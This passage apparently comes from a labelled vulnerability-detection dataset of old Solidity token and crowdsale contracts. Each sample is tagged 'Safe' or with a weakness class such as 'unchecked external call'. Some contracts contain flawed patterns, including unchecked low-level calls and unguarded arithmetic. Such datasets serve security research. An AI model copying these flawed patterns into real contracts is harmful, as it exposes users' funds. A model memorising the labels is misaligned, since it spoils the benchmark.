0) { throw; } } if(investedAmountOf[receiver] == 0) { // A new investor investorCount++; } // Update investor investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); // Update totals weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); // Check that we did not bust the cap if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { throw; } assignTokens(receiver, tokenAmount); // Pocket the money if(!multisigWallet.send(weiAmount)) throw; // Tell us invest was success Invested(receiver, weiAmount, tokenAmount, customerId); } /** * Allow anonymous contributions to this crowdsale. */ function invest(address addr) public payable { investInternal(addr, 0); } /** * The basic entry point to participate the crowdsale process. * * Pay for funding, get invested tokens back in the sender address. */ function buy() public payable { invest(msg.sender); } function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { // Already finalized if(finalized) { throw; } // Finalizing is optional. We only call it if we are given a finalizing agent. if(address(finalizeAgent) != address(0)) { finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); } } function areReservedTokensDistributed() public constant returns (bool) { return finalizeAgent.reservedTokensAreDistributed(); } function canDistributeReservedTokens() public constant returns(bool) { CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; return false; } /** * Finalize a succcesful crowdsale. * * The owner can triggre a call the contract that provides post-crowdsale actions, like releasing the tokens. */ function finalize() public inState(State.Success) onlyOwner stopInEmergency { // Already finalized if(finalized) { throw; } // Finalizing is optional. We only call it if we are given a finalizing agent. if(address(finalizeAgent) != address(0)) { finalizeAgent.finalizeCrowdsale(); } finalized = true; } /** * Allow to (re)set finalize agent. * * Design choice: no state restrictions on setting this, so that we can fix fat finger mistakes. */ function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { assert(address(addr) != address(0)); assert(address(finalizeAgent) == address(0)); finalizeAgent = addr; // Don't allow setting bad agent if(!finalizeAgent.isFinalizeAgent()) { throw; } } /** * Allow addresses to do early participation. */ function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { if (!isWhiteListed) throw; assert(addr != address(0)); assert(maxCap > 0); assert(minCap <= maxCap); assert(now <= endsAt); if (!isAddressWhitelisted(addr)) { whitelistedParticipants.push(addr); Whitelisted(addr, status, minCap, maxCap); } else { WhitelistItemChanged(addr, status, minCap, maxCap); } earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); } function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { if (!isWhiteListed) throw; assert(now <= endsAt); assert(addrs.length == statuses.length); assert(statuses.length == minCaps.length); assert(minCaps.length == maxCaps.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); } } function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { if (!isWhiteListed) throw; if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); } } function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { if (!isWhiteListed) throw; assert(addr != address(0)); assert(now <= endsAt); assert(isTierJoined(msg.sender)); if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; //if (addr != msg.sender && contractAddr != msg.sender) throw; uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; newMaxCap = newMaxCap.minus(tokensBought); earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); } function isAddressWhitelisted(address addr) public constant returns(bool) { for (uint i = 0; i < whitelistedParticipants.length; i++) { if (whitelistedParticipants[i] == addr) { return true; break; } } return false; } function whitelistedParticipantsLength() public constant returns (uint) { return whitelistedParticipants.length; } function isTierJoined(address addr) public constant returns(bool) { return joinedCrowdsaleState[addr].isJoined; } function getTierPosition(address addr) public constant returns(uint8) { return joinedCrowdsaleState[addr].position; } function getLastTier() public constant returns(address) { if (joinedCrowdsalesLen > 0) return joinedCrowdsales[joinedCrowdsalesLen - 1]; else return address(0); } function setJoinedCrowdsales(address addr) private onlyOwner { assert(addr != address(0)); assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); assert(!isTierJoined(addr)); joinedCrowdsales.push(addr); joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ isJoined: true, position: joinedCrowdsalesLen }); joinedCrowdsalesLen++; } function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { assert(addrs.length > 0); assert(joinedCrowdsalesLen == 0); assert(addrs.length <= joinedCrowdsalesLenMax); for (uint8 iter = 0; iter < addrs.length; iter++) { setJoinedCrowdsales(addrs[iter]); } } function setStartsAt(uint time) onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time); // Don't change past assert(time <= endsAt); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); //start time should be greater then end time of previous tiers for (uint8 j = 0; j < tierPosition; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time >= crowdsale.endsAt()); } startsAt = time; StartsAtChanged(startsAt); } /** * Allow crowdsale owner to close early or extend the crowdsale. * * This is useful e.g. for a manual soft cap implementation: * - after X amount is reached determine manual closing * * This may put the crowdsale to an invalid state, * but we trust owners know what they are doing. * */ function setEndsAt(uint time) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time);// Don't change past assert(startsAt <= time); assert(now <= endsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time <= crowdsale.startsAt()); } endsAt = time; EndsAtChanged(endsAt); } /** * Allow to (re)set pricing strategy. * * Design choice: no state restrictions on the set, so that we can fix fat finger mistakes. */ function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { assert(address(_pricingStrategy) != address(0)); assert(address(pricingStrategy) == address(0)); pricingStrategy = _pricingStrategy; // Don't allow setting bad agent if(!pricingStrategy.isPricingStrategy()) { throw; } } /** * Allow to change the team multisig address in the case of emergency. * * This allows to save a deployed crowdsale wallet in the case the crowdsale has not yet begun * (we have done only few test transactions). After the crowdsale is going * then multisig address stays locked for the safety reasons. */ function setMultisig(address addr) public onlyOwner { // Change if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { throw; } multisigWallet = addr; } /** * @return true if the crowdsale has raised enough money to be a successful. */ function isMinimumGoalReached() public constant returns (bool reached) { return weiRaised >= minimumFundingGoal; } /** * Check if the contract relationship looks good. */ function isFinalizerSane() public constant returns (bool sane) { return finalizeAgent.isSane(); } /** * Check if the contract relationship looks good. */ function isPricingSane() public constant returns (bool sane) { return pricingStrategy.isSane(address(this)); } /** * Crowdfund state machine management. * * We make it a function and do not assign the result to a variable, so there is no chance of the variable being stale. */ function getState() public constant returns (State) { if(finalized) return State.Finalized; else if (address(finalizeAgent) == 0) return State.Preparing; else if (!finalizeAgent.isSane()) return State.Preparing; else if (!pricingStrategy.isSane(address(this))) return State.Preparing; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else return State.Failure; } /** Interface marker. */ function isCrowdsale() public constant returns (bool) { return true; } // // Modifiers // /** Modified allowing execution only if the crowdsale is currently running. */ modifier inState(State state) { if(getState() != state) throw; _; } // // Abstract functions // /** * Check if the current invested breaks our cap rules. * * * The child contract must define their own cap setting rules. * We allow a lot of flexibility through different capping strategies (ETH, token count) * Called from invest(). * * @param weiAmount The amount of wei the investor tries to invest in the current transaction * @param tokenAmount The amount of tokens we try to give to the investor in the current transaction * @param weiRaisedTotal What would be our total raised balance after this transaction * @param tokensSoldTotal What would be our total sold tokens count after this transaction * * @return true if taking this investment would break our cap rules */ function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); /** * Check if the current crowdsale is full and we can no longer sell any tokens. */ function isCrowdsaleFull() public constant returns (bool); /** * Create new tokens or transfer issued tokens to the investor depending on the cap model. */ function assignTokens(address receiver, uint tokenAmount) private; } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Standard ERC20 token with Short Hand Attack and approve() race condition mitigation. * * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, SafeMath { /* Token supply got increased and a new owner received these tokens */ event Minted(address receiver, uint amount); /* Actual balances of token holders */ mapping(address => uint) balances; /* approve() allowances */ mapping (address => mapping (address => uint)) allowed; /* Interface declaration */ function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * A token that can increase its supply by another contract. * * This allows uncapped crowdsale by dynamically increasing the supply when money pours in. * Only mint agents, contracts whitelisted by owner, can mint new tokens. * */ contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; /** List of agents that are allowed to create new tokens */ mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); /** inPercentageUnit is percents of tokens multiplied to 10 up to percents decimals. * For example, for reserved tokens in percents 2.54% * inPercentageUnit = 254 * inPercentageDecimals = 2 */ struct ReservedTokensData { uint inTokens; uint inPercentageUnit; uint inPercentageDecimals; bool isReserved; bool isDistributed; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; bool reservedTokensDestinationsAreSet = false; modifier onlyMintAgent() { // Only crowdsale contracts are allowed to mint new tokens if(!mintAgents[msg.sender]) { throw; } _; } /** Make sure we are not done yet. */ modifier canMint() { if(mintingFinished) throw; _; } function finalizeReservedAddress(address addr) public onlyMintAgent canMint { ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; reservedTokensData.isDistributed = true; } function isAddressReserved(address addr) public constant returns (bool isReserved) { return reservedTokensList[addr].isReserved; } function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { return reservedTokensList[addr].isDistributed; } function getReservedTokens(address addr) public constant returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { return reservedTokensList[addr].inPercentageUnit; } function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { return reservedTokensList[addr].inPercentageDecimals; } function setReservedTokensListMultiple( address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals ) public canMint onlyOwner { assert(!reservedTokensDestinationsAreSet); assert(addrs.length == inTokens.length); assert(inTokens.length == inPercentageUnit.length); assert(inPercentageUnit.length == inPercentageDecimals.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { if (addrs[iterator] != address(0)) { setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); } } reservedTokensDestinationsAreSet = true; } /** * Create new tokens and allocate them to an address.. * * Only callably by a crowdsale contract (mint agent). */ function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); // This will make the mint transaction apper in EtherScan.io // We can remove this after there is a standardized minting event Transfer(0, receiver, amount); } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { assert(addr != address(0)); if (!isAddressReserved(addr)) { reservedTokensDestinations.push(addr); reservedTokensDestinationsLen++; } reservedTokensList[addr] = ReservedTokensData({ inTokens: inTokens, inPercentageUnit: inPercentageUnit, inPercentageDecimals: inPercentageDecimals, isReserved: true, isDistributed: false }); } } /** * ICO crowdsale contract that is capped by amout of tokens. * * - Tokens are dynamically created during the crowdsale * * */ contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt { /* Maximum amount of tokens this crowdsale can sell. */ uint public maximumSellableTokens; function MintedTokenCappedCrowdsaleExt( string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens, bool _isUpdatable, bool _isWhiteListed ) CrowdsaleExt(_name, _token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) { maximumSellableTokens = _maximumSellableTokens; } // Crowdsale maximumSellableTokens has been changed event MaximumSellableTokensChanged(uint newMaximumSellableTokens); /** * Called from invest() to confirm if the curret investment does not break our cap rule. */ function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken) { return tokensSoldTotal > maximumSellableTokens; } function isBreakingInvestorCap(address addr, uint tokenAmount) public constant returns (bool limitBroken) { assert(isWhiteListed); uint maxCap = earlyParticipantWhitelist[addr].maxCap; return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap; } function isCrowdsaleFull() public constant returns (bool) { return tokensSold >= maximumSellableTokens; } function setMaximumSellableTokens(uint tokens) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); assert(!lastTierCntrct.finalized()); maximumSellableTokens = tokens; MaximumSellableTokensChanged(maximumSellableTokens); } function updateRate(uint newOneTokenInWei) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); assert(!lastTierCntrct.finalized()); pricingStrategy.updateRate(newOneTokenInWei); } /** * Dynamically create tokens and assign them to the investor. */ function assignTokens(address receiver, uint tokenAmount) private { MintableTokenExt mintableToken = MintableTokenExt(token); mintableToken.mint(receiver, tokenAmount); } }",Safe,8,8 35838.sol,"pragma solidity ^0.4.16; // EROSCOIN Token contract based on the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 // Smartcontract for EROSCOIN, for more information visit https://eroscoin.org // Symbol: ERO // Status: ERC20 Verified contract EROSCOINToken { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * EROSCOINToken Math operations with safety checks to avoid unnecessary conflicts */ library EROMaths { // Saftey Checks for Multiplication Tasks function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } // Saftey Checks for Divison Tasks function div(uint256 a, uint256 b) internal constant returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } // Saftey Checks for Subtraction Tasks function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } // Saftey Checks for Addition Tasks function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract Ownable { address public owner; address public newOwner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } // validates an address - currently only checks that it isn't null modifier validAddress(address _address) { require(_address != 0x0); _; } function transferOwnership(address _newOwner) onlyOwner { if (_newOwner != address(0)) { owner = _newOwner; } } function acceptOwnership() { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; } event OwnershipTransferred(address indexed _from, address indexed _to); } contract EroStandardToken is EROSCOINToken, Ownable { using EROMaths for uint256; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function freezeAccount(address target, bool freeze) onlyOwner { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function transfer(address _to, uint256 _value) returns (bool success) { if (frozenAccount[msg.sender]) return false; require( (balances[msg.sender] >= _value) // Check if the sender has enough && (_value > 0) // Don't allow 0value transfer && (_to != address(0)) // Prevent transfer to 0x0 address && (balances[_to].add(_value) >= balances[_to]) // Check for overflows && (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack //most of these things are not necesary balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (frozenAccount[msg.sender]) return false; require( (allowed[_from][msg.sender] >= _value) // Check allowance && (balances[_from] >= _value) // Check if the sender has enough && (_value > 0) // Don't allow 0value transfer && (_to != address(0)) // Prevent transfer to 0x0 address && (balances[_to].add(_value) >= balances[_to]) // Check for overflows && (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack //most of these things are not necesary ); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { /* To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */ require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; // Notify anyone listening that this approval done Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract EROSCOIN is EroStandardToken { /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ uint256 constant public decimals = 8; //How many decimals to show. uint256 public totalSupply = 24 * (10**7) * 10**8 ; // 240 million tokens, 8 decimal places string constant public name = ""EROSCOIN""; //fancy name: eg EROSCOIN string constant public symbol = ""ERO""; //An identifier: eg ERO string constant public version = ""v1.3""; //Version 1.1.5 standard. Just an arbitrary versioning scheme. function EROSCOIN(){ balances[msg.sender] = totalSupply; // Give the creator all initial tokens } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)); return true; } }",./Dataset/unchecked external call (UC),7,7 35545.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract NEKO is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function NEKO( ) { balances[msg.sender] = 2000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 2000000000000; // Update total supply (100000 for example) name = ""Ne.ko""; // Set the name for display purposes decimals = 4; // Amount of decimals for display purposes symbol = ""NEKO""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 170.sol,"pragma solidity ^0.4.23; contract CSC { mapping (address => uint256) private balances; mapping (address => uint256[2]) private lockedBalances; string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. string public symbol; //An identifier: eg SBX uint256 public totalSupply; address public owner; uint256 private icoLockUntil = 1543593540; event Transfer(address indexed _from, address indexed _to, uint256 _value); constructor( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, address _owner, address[] _lockedAddress, uint256[] _lockedBalances, uint256[] _lockedTimes ) public { balances[_owner] = _initialAmount; // Give the owner all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes owner = _owner; // set owner for(uint i = 0;i < _lockedAddress.length;i++){ lockedBalances[_lockedAddress[i]][0] = _lockedBalances[i]; lockedBalances[_lockedAddress[i]][1] = _lockedTimes[i]; } } /*外部直投和空投 */ /*转账 会检测是否有锁仓限额和期限 */ function transfer(address _to, uint256 _value) public returns (bool success) { //当ICO未完成时,除owner外禁止转账 require(msg.sender == owner || icoLockUntil < now); if(_to != address(0)){ if(lockedBalances[msg.sender][1] >= now) { require((balances[msg.sender] > lockedBalances[msg.sender][0]) && (balances[msg.sender] - lockedBalances[msg.sender][0] >= _value)); } else { require(balances[msg.sender] >= _value); } balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } } /*从某地址摧毁某数量的代币并减少总供应量 需要拥有者权限 */ function burnFrom(address _who,uint256 _value)public returns (bool){ require(msg.sender == owner); assert(balances[_who] >= _value); totalSupply -= _value; balances[_who] -= _value; lockedBalances[_who][0] = 0; lockedBalances[_who][1] = 0; return true; } /*铸币到创始者账户并增加总供应量 需要拥有者权限 */ function makeCoin(uint256 _value)public returns (bool){ require(msg.sender == owner); totalSupply += _value; balances[owner] += _value; return true; } /*设置ICO锁仓到期时间,需要拥有管理者权限 */ function setIcoLockUntil(uint256 _until) public{ require(msg.sender == owner); icoLockUntil = _until; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } /*将合约中的ETH提取到创始者地址中 需求拥有者权限 */ function withdraw() public{ require(msg.sender == owner); msg.sender.transfer(address(this).balance); } /*将合约中的ETH提取到某个地址中 需求拥有者权限 */ function withdrawTo(address _to) public{ require(msg.sender == owner); address(_to).transfer(address(this).balance); } }",./Dataset/ether strict equality (SE),3,3 1331.sol,"pragma solidity ^0.4.18; /** * @title SafeMath */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC223 */ contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed 